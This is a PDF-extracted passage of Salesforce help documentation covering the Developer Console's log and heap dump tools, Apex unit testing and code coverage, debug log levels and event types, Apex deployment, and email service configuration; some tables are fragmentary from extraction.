When viewing executed source code, click Open to open it in a new Source Code tab.
Note: If validation rules or workflow is executed during the process, the metadata representation of it displays in the
source panel. You cant open a metadata representation from the Developer Console. See ValidationRule and Workflow
in the Force.com Metadata API Developers Guide.
Variables
Use the variables section to discover when a variable is assigned a value and what that value is. Click on a Variable event to
populate the section.
Note: The Apex Code log level must be set to Finest for variable assignments to be logged.
Another way to view the contents of variables is to use the Heap Dump Inspector, which allows you to see more details about
entities held in memory at a point of execution.
Executed Units, Limits and Timeline
The Executed Units, Limits, and Timeline tabs appear in the Execution Overview panel at the bottom of the Developer
Console when you are looking at a System Log view. The Execution Overview panel can be collapsed using the
the top right of the panel.
button in
Use the Executed Units tab to examine which items in the process used the most system resources. Use the Limits tab to
compare the resources used by the process to overall system limits. The limits are listed by name and amount. Use the Timeline
tab to see a visual representation of the time each process took. Use this to identify and isolate the parts of your request that
take the longest.
To filter out the information displayed on the Executed Limits tab by the type of item, click the button for that type. For
example, to no longer view methods in the section, click Methods. Click the button a second time to display methods again.
Right-click any column header to sort the information in the column. You can also select which columns you want displayed
in the Executed Units tab.
The Executed Units tab contains this information:
Column
Description
What
Name
Sum
Avg
Min
2027
Develop
Column
Description
Max
Cnt
Heap
Query Type
Sum rows
Avg rows
Max rows
Min rows
On the Limits tab, select the unit of time used to display the process. The default is Minutes.
The Limits tab contains this information:
Column
Description
Limit
Used so far
The amount of the limit used by this process at this point of execution.
Request total
Total available
Description
Category
Mills
Important: If you dont see scroll bars in the System Log panels on a Mac, open System Preferences > General and
set Show scroll bars to Always.
2028
Develop
individual items in collections. Use the Heap Dump Inspector to investigate what objects are in memory at a specific point of
execution and why, that is, what other objects hold references to them.
To capture new heap dumps, set capture markers in your code. See Enabling Heap Dump Captures in Apex Code.
Open existing heap dumps from the Heap Dumps tab.
The Heap Dump Inspector lets you view a heap dump two different ways, in the Heap tab and the Symbols tab.
The Heap Tab
The Heap tab displays all objects in memory at the time of the heap dump capture. Items are listed and grouped by data type.
The Types column is a flat list of the classes of all instantiated objects in memory at the time of capture, with a count of how
many are instantiated, and the amount of memory consumed in bytes. Click an item to see a list of those objects in the Instances
column, with their address in the heap and memory consumed. Click an instance to view the variables currently set in that
object in the State column.
The References tab provides two lists to display relationships between symbols held in memory. Use the Inbound References
list to locate the symbols which can hold references to objects of a particular type. Use the Referencing Instances list to find
specific instances holding references to a symbol. Double click to find that instance elsewhere in the heap.
The Search tab lets you find symbols in the heap by value or address. Search matches partial symbol values, but addresses
must be exact. To quickly search for a value, click the search icon ( ) that appears to the right of it when you hover over it
in the State panel.
The Symbols Tab
The Symbols tab displays a tree view of all symbols in memory at the time of the heap dump capture. Use it to quickly review
the state of the system at the specific line of code (and iteration) where the heap dump was captured.
2029
Develop
Important: If you dont see scroll bars in the Heap Dump panels on a Mac, open System Preferences > General
and set Show scroll bars to Always.
2030
Develop
Keep typing to filter the suggestions, press ENTER to select the top completion, or use the arrow keys or mouse to select a
different completion. Auto-complete supports both Visualforce tags and tag attributes.
Enabling Heap Dump Captures in Apex Code
To set a marker for a new heap dump capture point, click in the margin to the left of the line numbers.You can set five markers
at a time.
By default the heap dump is captured immediately before the first time the line of code is executed. You can change the
iteration for the capture in the Heap Dump Locations list. Only one heap dump will be captured for a specific line of code,
no matter how many times its executed during a request.
Important: To generate a heap dump, set the Apex Log Level to finer or finest. See Setting Logging Levels on page
2015.
You can set heap dump capture markers in Apex classes and triggers. You cant set capture markers in Visualforce markup.
Note: If you set a capture marker in a method with the @future annotation, to capture that heap dump during a
request you need to keep the Developer Console open until the @future method completes asynchronously. This is
because heap capture markers are reset when you close the Developer Console.
Validating Changes in Source Code
Changes you make in a Source Code view are validated in the background. While you are editing code an error indicator
displays on lines causing errors, and the Problems panel shows the details of compilation errors. To collapse the Problems
panel, use the
2031
Develop
When validating your source views, all modified sources are validated together instead of individually. Changes that may be
inconsistent with code on the server, but are consistent when taken togethersuch as adding a method in one file, and a call
to that method in another, and other common development taskswill not be reported as errors.
Saving Changes
When you make changes in source code view, the name of the tab has a * to indicate unsaved changes. Click Save in the
corner of a source view to save changes.
To save a collection of changes with dependencies, click Save All to save changes in all open tabs. All modified views are saved
together in one request.
When you save modified source views, theyre validated against all saved sources. If source files have related changes, its
impossible to save the files individually.
You cant save if you have compilation errors. Review the Problems panel, correct any errors, and click Save again.
Note: Apex classes and triggers are saved with the latest API version.
2032
Develop
Note: You can't modify custom objects in the Developer Console. To create, edit, or delete custom objects, click Your
Name > Setup > Create > Objects to work with your custom objects.
2. Click the Executed Units tab to view the aggregate values of different types of operations in the request. For example,
you can view the number of DML operations or the different methods by the type of method.
3. Click the Limits tab to view the governor limits used by this operation.
Viewing System.Debug Statements
Scenario: Youve added a number of System.Debug statements to your code to track a request's progress. How do you
find them using the System Log view?
1. Click Filter in the execution log panel.
2. Enter debug in the entry box.
Only the lines containing the word debug in your request display.
Updating Source Code
Scenario: After you run your request, you notice an Apex code error in the debug log. What's the easiest way to edit
your Apex code?
1. From the Source panel, select the line of code.
2. Click Open.
The Apex editor opens the source code for that class or trigger in a new Source Code tab.
2033
Develop
2. In the Executed Units tab, disable all other types of execution, except for DML. The buttons are togglesclick once
to filter that type of operation out of the list. Click again to disable the filter. To view only the DML, click Methods,
Queries, Workflow, Callouts, Validations, Triggers and Pages.
The details of the DML operation show the kind of object that was affected, and the specific operation
performedinsert, update, and so on. You can also view the number of times a DML statement was executed,
the number of rows, and so on.
If you click a DML request item in the Executed Units tab, the execution log section filters out all other parts of
the request, and displays only that DML statement.
You can also use these procedures for looking up and filtering queries.
Evaluating the Performance of a Visualforce Page
Scenario: You have a Visualforce page and an Apex controller that executes SOQL queries. How do you analyze the
performance of your page and find out which code unit took the most time? How do you determine how many queries
are performed in the request? How do you verify how close you are getting to governor limits?
1. Look for the name of the Visualforce page in the stack trace. The top level has the format /apex/pagename. The
first node under that shows the actual execution of the page. Open that node to see when the controller was initialized.
2. Continue to open nodes to explore the calling of methods and how long each method took. When you click an item
in the stack trace, the execution log displays that portion of the debug log, the source window refreshes to display
the appropriate source code, and the variables inspector shows the variables that are in context.
2034
Develop
3. Click Executed Units to view statistics of your code that include execution time in milliseconds and heap size in
bytes. The Cnt column shows the number of times a certain code unit has been executed. If a code unit was executed
more than once, the sum, average, maximum, and minimum run times are updated. Similarly, if a query is executed
more than once, the rows columns are updated to summarize the aggregate numbers of returned rows.
You can filter out code units by clicking the buttons on the bottom that correspond to the code units you want to
omit from the view. Tracking DML in a Request explains how to do this.
4. Click Limits to verify the applicable limits, and how close your request is to each applicable limit. The Total Available
column shows the governor limits allowed for your organization per type of operation. The Request Total column
shows the total number of requests performed. The Used so far column shows the number of requests consumed at
the point of execution you selected in the stack trace or execution log.
2035
Develop
5. Click Timeline to see a visual display of the executed code units broken up by the type of code unit, in addition to
the total and percentage of execution time for each type of code unit. The timeline lets you quickly find out which
parts of the request took the longest. Select a time interval at the bottom of the summary section to increase or
decrease the period displayed in the timeline.
In this example, database requests took the most time (56.95%). They are followed by the Visualforce page. The
least amount of time was spent on Apex code. Also, Visualforce pages and Apex code were executed first and last,
while database operations were carried out between them.
Viewing a Complex Process
Scenario: Your process is complex, and includes several Apex classes and triggers, workflow, and validation rules. What
are some of the best ways to step through or filter the resulting debug log?
1. The stack section contains a tree structure illustrating the execution path of all the top level items in the request. Use
this to see the hierarchy of items as they execute.
2. Use the Filter entry box in the execution log. For example, if youre interested in trigger-specific events, click Filter
and enter trigger.
Only the lines in the debug log that contain the word trigger display in the execution log section.
3. Limit the scope of the execution log to a specific selected unit of execution by selecting This Frame. For example,
if you select a line that contains CODE_UNIT_STARTED in the execution log, and then click This Frame, the execution
log displays only the items in the request that occur between CODE_UNIT_STARTED and its associated
CODE_UNIT_ENDED.
2036
Develop
Note: When This Frame is selected the execution log only displays the items that are contained in that
frame, not any lower level operations. For example, if a trigger calls a class, only the trigger operations display
in the execution log, not the class operations.
Author Apex
Testing is key to the success of your application, particularly if your application is to be deployed to customers. If you validate
that your application works as expected and that there are no unexpected behaviors, your customers are going to trust you
more.
To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are
class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit
no data to the database, send no emails, and are flagged with the testMethod keyword in the method definition.
Before you can deploy your code or package it for the Force.com AppExchange, the following must be true:
75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following:
When deploying to a production organization, every unit test in your organization namespace is executed.
Calls to System.debug are not counted as part of Apex code coverage.
Test methods and test classes are not counted as part of Apex code coverage.
While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is
covered. Instead, you should make sure that every use case of your application is covered, including positive and negative
cases, as well as bulk and single record. This should lead to 75% or more of your code being covered by unit tests.
A specific class
A subset of classes
All unit tests in your organization
2037
Develop
If your test calls another class or causes a trigger to execute, that Apex is included in the total amount used for calculating the
percentage of code covered.
See Also:
Apex Code Overview
Working with Apex Test Execution
Viewing Test Results
Apex Test Results
What is a Debug Log?
Working with the Developer Console
Developer's Guide: Force.com Apex Code Developer's Guide
Author Apex
To select tests from an installed managed package, select its corresponding namespace from the drop-down list. Only
the classes of the managed package with the selected namespace appear in the list.
To select tests that exist locally in your organization, select [My Namespace] from the drop-down list. Only local
classes that aren't from managed packages appear in the list.
To select any test, select [All Namespaces] from the drop-down list. All the classes in the organization appear, whether
or not they are from a managed package.
Note: Classes whose tests are still running don't appear in the list.
4. Click Run.
2038
Develop
After selecting test classes to run, the selected classes are placed in the Apex job queue for execution. The maximum number
of test classes you can select for execution is the greater of 500 or 10 multiplied by the number of test classes in the organization.
To disable parallel execution of tests in order to run your tests one at a time, click Options..., select Disable Parallel Apex
Testing, and then click OK. Running tests one at a time helps prevent test interference on shared data when tests run at the
same time and access the same data. This only occurs when tests dont create their own data and turn off data isolation to
access the organizations data. For more information about test data, see Isolation of Test Data from Organization Data in
Unit Tests in the Force.com Apex Code Developers Guide. This option doesnt affect the asynchronous execution of tests, which
continue to run asynchronously from the Apex Test Execution page.
While tests are running, you can select one or more tests and click Abort to cancel.
After a test finishes running, you can:
Click the test to see result details; if a test fails, the first error message and the stack trace display.
Click View to see the source Apex code.
Note: Test results display for 60 minutes after they finish running.
Use the Apex Test Results page to see all test results for your organization. Click Your Name > Setup > Develop > Apex
Test Execution > View Test History.
Use the Developer Console to see additional information about your test execution:
1. Click Your Name > Developer Console.
2. Run your tests using the Apex Test Execution page.
3. Check the Developer Console to step through the request.
Inspecting Code Coverage Results
After you run tests using the Apex Test Execution page, you can display the percentage of code covered by those tests on the
list of Apex classes. Click Your Name > Setup > Develop > Apex Classes, then click Calculate your organization's code
coverage.
Note: The code coverage value computed by Calculate your organization's code coverage might differ from the code
coverage value computed after running all unit tests using Run All Tests. This is because Calculate your organization's
code coverage excludes classes that are part of installed managed packages while Run All Tests doesn't.
You can also verify which lines of code are covered by tests for an individual class. Click Your Name > Setup > Develop >
Apex Classes, then click the percentage number in the Code Coverage column for a class.
To reduce calculation time of overall code coverage results obtained through Calculate your organization's code coverage,
click Options..., select Store Only Aggregated Code Coverage, and then click OK . Use this option only when you have
many tests and large volumes of Apex code, that is, when the number of Apex test methods multiplied by the number of all
classes and triggers is in the range of hundreds of thousands. This option causes code coverage results to be stored in aggregate
form for all test methods. As a result, you cant view code coverage results for an individual test method. Also, if you modify
test methods that are defined in a test class (a class annotated with @isTest), youll have to clear code coverage results by
clicking Clear Code Coverage on the Apex Classes page. This is because the existing code coverage results of classes and
triggers that these test methods cover arent automatically cleared when using this option and modifying the tests. This option
2039
Develop
applies to test methods regardless of how theyre executedsynchronously or asynchronously. For more information on running
tests, see Running Unit Test Methods in the Force.com Apex Code Developers Guide.
See Also:
Apex Code Overview
About Apex Unit Tests
Apex Test Results
Viewing Test Results
Developer's Guide: Force.com Apex Code Developer's Guide
Author Apex
To use the Apex Classes page to generate test results, click Your Name > Setup > Develop > Apex Classes, then either click
Run All Tests or click the name of a specific class that contains tests and click Run Test.
After you use the Apex Classes page to generate test results, the test result page contains the following sections. Each section
can be expanded or collapsed.
A summary section that details the number of tests run, the number of failures, the percentage of Apex code that is covered
by unit tests, the total execution time in milliseconds, and a link to a downloadable debug log file.
The debug log is automatically set to specific log levels and categories, which can't be changed.
Category
Level
Database
INFO
Apex Code
FINE
Apex Profiling
FINE
Workflow
FINEST
Validation
INFO
Important: Before you can deploy Apex or package it for the Force.com AppExchange, the following must be
true:
75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following:
2040
Develop
When deploying to a production organization, every unit test in your organization namespace is executed.
Calls to System.debug are not counted as part of Apex code coverage.
Test methods and test classes are not counted as part of Apex code coverage.
While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of
code that is covered. Instead, you should make sure that every use case of your application is covered,
including positive and negative cases, as well as bulk and single record. This should lead to 75% or more
of your code being covered by unit tests.
You can also view test results by clicking Your Name > Setup > Develop > Apex Test Execution > View Test History. This
page displays all test results for your organization in the default view for 30 days unless cleared, not just tests that you have
run.
To view test results of tests that are executed using the Apex Test Execution page, see Working with Apex Test Execution
on page 2038.
See Also:
Apex Code Overview
About Apex Unit Tests
Working with Apex Test Execution
Managing Apex Classes
Developer's Guide: Force.com Apex Code Developer's Guide
2041
Develop
Author Apex
Click Your Name > Setup > Develop > Apex Test Execution > View Test History to view all test results for your organization,
not just tests that you have run. Test results are retained for 30 days after they finish running, unless cleared.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click View to view more details about a specific test run.
See Also:
Apex Code Overview
Working with Apex Test Execution
Apex Test Results Details
Developer's Guide: Force.com Apex Code Developer's Guide
Author Apex
To view all test results for your organization in the default view for 30 days unless cleared, not just tests that you have run,
click Your Name > Setup > Develop > Apex Test Execution > View Test History. Click View to view more details about a
specific test run.
See Also:
Apex Code Overview
Apex Test Results
Developer's Guide: Force.com Apex Code Developer's Guide
2042
Develop
Author Apex
Author Apex
Customize Application
A debug log records database operations, system processes, and errors that occur when executing a transaction or while running
unit tests. The system generates a debug log for a user every time that user executes a transaction that is included in the filter
criteria.
Transactions can be generated from the following:
The filter criteria set for the user, the Developer Console or the API header determines what is included in the debug log.
Debug logs can contain information about:
Database changes
HTTP callouts
Apex errors
Resources used by Apex
Automated workflow processes, such as:
Workflow rules
Assignment rules
Approval processes
Validation rules
You're a developer creating a custom application and use the debug log to validate some of the application's behavior, such
as if the application made callouts to an external system. You could set the debug log filter to check for callouts, then in
the debug log, view information about the success and duration of those callouts.
2043
Develop
You're an administrator for an organization, and a user reports having difficulties. You could start to monitor the debug
logs for that user, have them step through the transaction, and then use the debug log to view the system details of the
transaction.
Once a user is added, that user can record up to 20 debug logs. After a user reaches this limit, debug logs stop being recorded
for that user. Click Reset on the Monitoring Debug logs page to reset the number of logs for that user back to 20. Any
existing logs are not overwritten.
Each debug log can only be 2 MB. Debug logs that are larger than 2 MB in size are truncated.
Each organization can retain up to 50 MB of debug logs. Once your organization has reached 50 MB of debug logs, the
oldest debug logs start being overwritten.
EXECUTION_STARTED
EXECUTION_FINISHED
CODE_UNIT_STARTED
CODE_UNIT_FINISHED
METHOD_ENTRY
METHOD_EXIT
CONSTRUCTOR_ENTRY
CONSTRUCTOR_EXIT
SOQL_EXECUTE_BEGIN
SOQL_EXECUTE_END
SOSL_EXECUTE_BEGIN
SOSL_EXECUTE_END
CALLOUT_REQUEST
CALLOUT_RESPONSE
FATAL_ERROR
See Also:
Viewing Debug Logs
Setting Debug Log Filters
Monitoring Debug Logs
Retaining Debug Logs
Working with the Developer Console
About Apex Unit Tests
Apex Code Overview
Developer's Guide: Force.com Apex Code Developer's Guide
2044
Develop
Author Apex
Author Apex
Customize Application
When using the Developer Console or monitoring a debug log, you can specify the level of information that gets included in
the log.
Log category
The type of information logged, such as information from Apex or workflow rules.
Log level
The amount of information logged.
Event type
The combination of log category and log level that specify which events get logged. Each event can log additional
information, such as the line and character number where the event started, fields associated with the event, duration of
the event in milliseconds, and so on.
Description
Database
Workflow
Includes information for workflow rules, such as the rule name, the actions taken, and
so on.
Validation
Includes information about validation rules, such as the name of the rule, whether the
rule evaluated true or false, and so on.
Callout
Includes the request-response XML that the server is sending and receiving from an
external Web service. This is useful when debugging issues related to using Force.com
Web services API calls.
Apex Code
Includes information about Apex code and can include information such as log
messages generated by DML statements, inline SOQL or SOSL queries, the start
and completion of any triggers, and the start and completion of any test method, and
so on.
2045
Develop
Log Category
Description
Apex Profiling
Includes cumulative profiling information, such as the limits for your namespace, the
number of emails sent, and so on.
Visualforce
System
Includes information about calls to all system methods such as the System.debug
method.
ERROR
WARN
INFO
DEBUG
FINE
FINER
FINEST
timestamp: consists of the time when the event occurred and a value between parentheses. The time is in the user's time
zone and in the format HH:mm:ss.SSS. The value represents the time elapsed in nanoseconds since the start of the request.
The elapsed time value is excluded from logs reviewed in the Developer Console.
event identifier: consists of the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET or
VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line and
character number where the code was executed.
2046
Develop
Event name:
USER_DEBUG
Event name:
DML_BEGIN
Object name:
Type:Invoice_Statement__c
2047
Develop
The following table lists the event types that are logged, what fields or other information get logged with each event, as well
as what combination of log level and category cause an event to be logged.
Event Name
Level Logged
BULK_HEAP_ALLOCATE
Apex Code
FINEST
CALLOUT_REQUEST
Callout
CALLOUT_RESPONSE
Callout
CODE_UNIT_FINISHED
None
Apex Code
CODE_UNIT_STARTED
Apex Code
Apex Code
CONSTRUCTOR_EXIT
CUMULATIVE_LIMIT_USAGE
None
Apex Profiling
CUMULATIVE_LIMIT_USAGE_END None
Apex Profiling
None
Apex Profiling
CUMULATIVE_PROFILING_BEGIN None
Apex Profiling
CUMULATIVE_PROFILING_END None
Apex Profiling
CUMULATIVE_PROFILING
DML_BEGIN
DML_END
Line number
Apex Code
EMAIL_QUEUE
Line number
Apex Code
ENTERING_MANAGED_PKG
Package namespace
Apex Code
EXCEPTION_THROWN
Apex Code
EXECUTION_FINISHED
None
Apex Code
EXECUTION_STARTED
None
Apex Code
FATAL_ERROR
Apex Code
HEAP_ALLOCATE
Apex Code
HEAP_DEALLOCATE
Apex Code
IDEAS_QUERY_EXECUTE
Line number
DB
FINEST
LIMIT_USAGE_FOR_NS
Apex Profiling
FINEST
2048
Develop
Event Name
Level Logged
METHOD_ENTRY
METHOD_EXIT
PUSH_TRACE_FLAGS
QUERY_MORE_ITERATIONS
DB
SAVEPOINT_ROLLBACK
DB
SAVEPOINT_SET
DB
2049
Develop
Event Name
Level Logged
SLA_END
SLA_EVAL_MILESTONE
Milestone ID
Workflow
SLA_NULL_START_DATE
None
Workflow
SLA_PROCESS_CASE
Case ID
Workflow
SOQL_EXECUTE_BEGIN
SOQL_EXECUTE_END
DB
SOSL_EXECUTE_BEGIN
DB
SOSL_EXECUTE_END
DB
Apex Profiling
Apex Code
STATEMENT_EXECUTE
Line number
STATIC_VARIABLE_LIST
var1:50
var2:'Hello World'
DEBUG
DEBUG
SYSTEM_METHOD_ENTRY
System
DEBUG
SYSTEM_METHOD_EXIT
System
DEBUG
SYSTEM_MODE_ENTER
Mode name
System
SYSTEM_MODE_EXIT
Mode name
System
TESTING_LIMITS
None
Apex Profiling
Apex Profiling
2050
Develop
Event Name
Level Logged
USER_DEBUG
Apex Code
System.Debug
Error message
Validation
VALIDATION_FAIL
None
Validation
VALIDATION_FORMULA
Validation
VALIDATION_PASS
None
Validation
VALIDATION_RULE
Rule name
Validation
VARIABLE_ASSIGNMENT
Apex Code
FINEST
VARIABLE_SCOPE_BEGIN
FINEST
VARIABLE_SCOPE_END
None
Apex Code
FINEST
VF_APEX_CALL
Apex Code
Visualforce
VF_DESERIALIZE_VIEWSTATE_END None
Visualforce
Visualforce
VF_EVALUATE_FORMULA_END
None
Visualforce
VF_PAGE_MESSAGE
Message text
Apex Code
Visualforce
VF_SERIALIZE_VIEWSTATE_END None
Visualforce
WF_ACTION
Action description
Workflow
WF_ACTION_TASK
WF_ACTIONS_END
Workflow
WF_APPROVAL
WF_APPROVAL_REMOVE
EntityName: NameField Id
Workflow
WF_APPROVAL_SUBMIT
EntityName: NameField Id
Workflow
WF_ASSIGN
Workflow
2051
Develop
Event Name
Level Logged
WF_CRITERIA_BEGIN
WF_EMAIL_ALERT
Workflow
WF_EMAIL_SENT
Workflow
WF_ENQUEUE_ACTIONS
Workflow
WF_ESCALATION_ACTION
Workflow
WF_ESCALATION_RULE
None
Workflow
WF_EVAL_ENTRY_CRITERIA
Workflow
WF_FIELD_UPDATE
Workflow
field name
WF_FORMULA
Workflow
WF_HARD_REJECT
None
Workflow
WF_NEXT_APPROVER
Workflow
WF_NO_PROCESS_FOUND
None
Workflow
WF_OUTBOUND_MSG
rule
WF_PROCESS_NODE
Process name
Workflow
WF_REASSIGN_RECORD
Workflow
WF_RESPONSE_NOTIFY
Workflow
WF_RULE_ENTRY_ORDER
Workflow
WF_RULE_EVAL_BEGIN
Rule type
Workflow
WF_RULE_EVAL_END
None
Workflow
WF_RULE_EVAL_VALUE
Value
Workflow
WF_RULE_FILTER
Filter criteria
Workflow
WF_RULE_INVOCATION
EntityName: NameField Id
Workflow
WF_RULE_NOT_EVALUATED
None
Workflow
WF_SOFT_REJECT
Process name
Workflow
WF_SPOOL_ACTION_BEGIN
Node type
Workflow
WF_TIME_TRIGGER
2052
Develop
Event Name
Level Logged
WF_TIME_TRIGGERS_BEGIN
None
Workflow
See Also:
What is a Debug Log?
Monitoring Debug Logs
Viewing Debug Logs
About Apex Unit Tests
Working with the Developer Console
Developer's Guide: Force.com Apex Code Developer's Guide
2053
Develop
2. Class1 calls a method of Class3, which in turn calls a method of a utility class. For example:
public class Class1 {
public static void someMethod() {
Class3.thirdMethod();
}
}
public class Class3 {
public static void thirdMethod() {
UtilityClass.doSomething();
}
}
See Also:
Viewing Apex Classes
Viewing Apex Trigger Details
2054
Develop
Author Apex
Force.com IDE
You can download the Force.com IDE to help you write Apex in projects that mirror your organization. Using this tool, you
can also compile and test the code you write, synchronize changes between the organization and project, and deploy your code
to another organization.
For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide.
2055
Develop
Note: The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support
its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription
Agreement.
See Also:
Apex Code Overview
Deploying Apex Using Change Sets
Deploying Apex Using SOAP API
Developer's Guide: Force.com Apex Code Developer's Guide
Author Apex
You can deploy Apex classes and triggers between connected organizations, for example, from a sandbox organization to your
production organization. You can create an outbound change set in the Salesforce user interface and add the Apex components
that you would like to upload and deploy to the target organization. To learn more about change sets, see Change Sets Overview.
Author Apex
You can use the following SOAP API to deploy your Apex to a development or sandbox organization.
compileAndTest()
compileClasses()
compileTriggers()
All these calls take Apex code that contains the class or trigger, as well as the values for any fields that need to be set.
To learn more about these SOAP API calls, see the SOAP API and SOAP Headers for Apex appendix in the Force.com Apex
Code Developer's Guide.
2056
Develop
Author Apex
Email services are automated processes that use Apex classes to process the contents, headers, and attachments of inbound
email. For example, you can create an email service that automatically creates contact records based on contact information
in messages.
You can associate each email service with one or more Salesforce-generated email addresses to which users can send messages
for processing. To give multiple users access to a single email service, you can:
Associate multiple Salesforce-generated email addresses with the email service and allocate those addresses to users.
Associate a single Salesforce-generated email address with the email service, and write an Apex class that executes according
to the user accessing the email service. For example, you can write an Apex class that identifies the user based on the user's
email address and creates records on behalf of that user.
To use email services, click Your Name > Setup > Develop > Email Services.
2057
Develop
Email services rejects email messages and notifies the sender if the email (combined body text, body HTML and attachments)
exceeds approximately 10 MB (varies depending on language and character set).
See Also:
Apex Code Overview
Using the InboundEmail Object
Defining Email Services
Defining Email Service Addresses
Developer's Guide: Force.com Apex Code Developer's Guide
Author Apex
Click Your Name > Setup > Develop > Email Services.
Click New Email Service, or click Edit to change an existing email service.
Specify the name of the email service.
Choose the Apex class you want this email service to use to process messages. The Apex class you choose must implement
the Messaging.InboundEmailHandler interface. For example:
global class myHandler implements Messaging.InboundEmailHandler {
global Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail
email, Messaging.InboundEnvelope envelope) {
Messaging.InboundEmailResult result = new Messaging.InboundEmailresult();
return result;
}
}
For information on the InboundEmail object, see Using the InboundEmail Object on page 2062.
5. Choose the types of attachments you want the email service to accept. The options are:
None
The email service accepts the message but discards any attachment.
Text Attachments Only
The email service only accepts the following types of attachments:
2058
Develop
Messages with attachments other than these types are accepted, but the attachments are discarded.
Binary Attachments Only
The email service only accepts binary attachments, such as image, audio, application, and video files. Binary attachments
have a limit of 5 MB per attachment.
Messages with attachments that are not binary are accepted, but the attachments are discarded.
All
The email service accepts any type of attachment.
Note: An email service can only process attachments if you configure the email service to accept attachments and
use an Apex class that processes the types of attachments the email service accepts.
Also, note that email services cannot accept inline attachments, such as graphics inserted in email messages.
6. Optionally, select the Advanced Email Security Settings checkbox to configure the email service to verify the
legitimacy of the sending server before processing a message. The email service uses the following authentication protocols
to verify the sender's legitimacy:
SPF
SenderId
DomainKeys
If the sending server passes at least one of these protocols and does not fail any, the email service accepts the email. If the
server fails a protocol or does not support any of the protocols, the email service performs the action specified in the
Unauthenticated Sender Action failure response setting.
Tip: Before selecting the Authenticate Senders checkbox, ensure that the senders that you expect to use the
email service support at least one of the authentication protocols listed above. For information on these authentication
protocols, see the following websites:
www.openspf.org
www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx
7. Email services rejects email messages and notifies the sender if the email (combined body text, body HTML and attachments)
exceeds approximately 10 MB (varies depending on language and character set).
8. You can convert text attachments to binary attachments.
9. Optionally, configure this email service only to accept messages from certain senders by listing their email addresses and
domains in the Accept Email From text box. Separate multiple entries with commas. For example:
george@mycompany.com, yahoo.com, gmail.com. If the Accept Email From text box has a value and the email service
receives a message from an unlisted email address or domain, the email service performs the action specified in the
Unauthorized Sender Action failure response setting.
Leave this field blank if you want the email service to receive email from any email address.
2059
Develop
Note: You can also authorize email addresses and domains at the email service address-level. See Defining Email
Service Addresses on page 2061.
If both the email service and email service address are configured to only accept messages from certain senders, the
email service only processes messages from senders that are listed in the Accept Email From text boxes on both
the email service and the email service address.
10. Select the Active checkbox if you want the email service to be activated when you click Save.
11. Configure the failure response settings, which determine how the email service responds if an attempt to access this email
service fails for the following reasons:
Over Email Rate Limit Action
Determines what the email service does with messages if the total number of messages processed by all email services
combined has reached the daily limit for your organization. Salesforce calculates the limit by multiplying the number
of user licenses by 1,000, up to a daily maximum of 1,000,000. For example, if you have ten licenses, your organization
can process up to 10,000 email messages a day.
Deactivated Email Address Action
Determines what the email service does with messages received at an email address that is inactive.
Deactivated Email Service Action
Determines what the email service does with messages it receives when the email service itself is inactive.
Unauthenticated Sender Action
Determines what the email service does with messages that fail or do not support any of the authentication protocols
if the Authenticate Senders checkbox is selected.
Unauthorized Sender Action
Determines what the email service does with messages received from senders who are not listed in the Accept From
Email text box on either the email service or email service address.
The failure response options are:
Bounce Message
The email service returns the message to the sender or to the Automated Case User for On-Demand
Email-to-Case, with a notification that explains why the message was rejected.
Discard Message
The email service deletes the message without notifying the sender.
Requeue Message (Over Email Rate Limit Action Only)
The email service queues the message for processing in the next 24 hours. If the message is not processed within 24
hours, the email service returns the message to the sender with a notification that explains why the message was
rejected.
12. To send error email messages to a specified address instead of the sender's email address, select Enable Error Routing
and specify the destination email address in Route Error Emails to This Email Address. This prevents the
sender being notified when email services cannot process an incoming email.
2060
Develop
13. Click Save to save your changes, or Save and New Email Address to create email addresses for this email service, as
described in Defining Email Service Addresses on page 2061.
See Also:
Apex Code Overview
Using the InboundEmail Object
What are Email Services?
Defining Email Service Addresses
Enabling and Configuring On-Demand Email-to-Case
Developer's Guide: Force.com Apex Code Developer's Guide
Author Apex
1. Click Your Name > Setup > Develop > Email Services.
2. Choose the email service for which you want to define an address.
3. Click New Email Address, or click Edit to change the configuration for an existing email service address. To delete an
email service address, click View and Delete.
4. In the Email Address field, enter the local-part of the email service address. Salesforce generates a unique domain-part
for each email service address to ensure that no two email service addresses are identical. The generated domain-part
appears to the right of the Email Address field.
Tip: For the local-part of a Salesforce email address, all alphanumeric characters are valid, plus the following
special characters: !#$%&'*/=?^_+-`{|}~. For the domain-part of a Salesforce email address, only alphanumeric
characters are valid, as well as hyphen (-). The dot character (.) is also valid in both the local-part and domain-part
as long as it is not the first or last character.
Salesforce email addresses are case-insensitive.
5. Select the Active checkbox if you want the email service address to be activated when you click Save.
6. Choose the Context User. The email service assumes the permissions of the context user when processing the messages
this address receives. For example, if the email service is configured to modify contact records upon receiving updated
contact information, the email service only modifies a record if the context user has permission to edit the record.
Important: Choose a context user that has permission to execute the Apex class that the email service is configured
to use.
2061
Develop
7. Optionally, configure this email service address to only accept messages from certain senders by listing their email addresses
and domains in the Accept Email From text box. Separate multiple entries with commas. For example:
george@mycompany.com, yahoo.com, gmail.com. If the Accept Email From text box has a value and the email service
receives a message from an unlisted email address or domain, the email service performs the action specified in the
Unauthorized Sender Action failure response setting.
Leave this field blank if you want the email service to receive email from any email address.
Note:
If both the email service and email service address are configured to only accept messages from certain senders, the
email service only processes messages from senders that are listed in the Accept Email From text boxes on both
the email service and the email service address.
8. Click Save to save your changes, or Save and New to define another inbound email address for this email service.
See Also:
Apex Code Overview
Using the InboundEmail Object
What are Email Services?
Defining Email Services
Developer's Guide: Force.com Apex Code Developer's Guide
For every email the Apex email service domain receives, Salesforce creates a separate InboundEmail object that contains the
contents and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler
interface to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an
